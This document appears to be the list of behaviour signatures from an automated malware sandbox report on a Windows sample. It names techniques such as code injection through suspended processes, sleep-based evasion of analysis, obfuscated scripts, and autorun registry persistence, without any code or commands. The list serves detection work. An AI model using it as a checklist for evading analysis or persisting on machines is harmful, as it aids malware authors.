Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)

Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification

Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
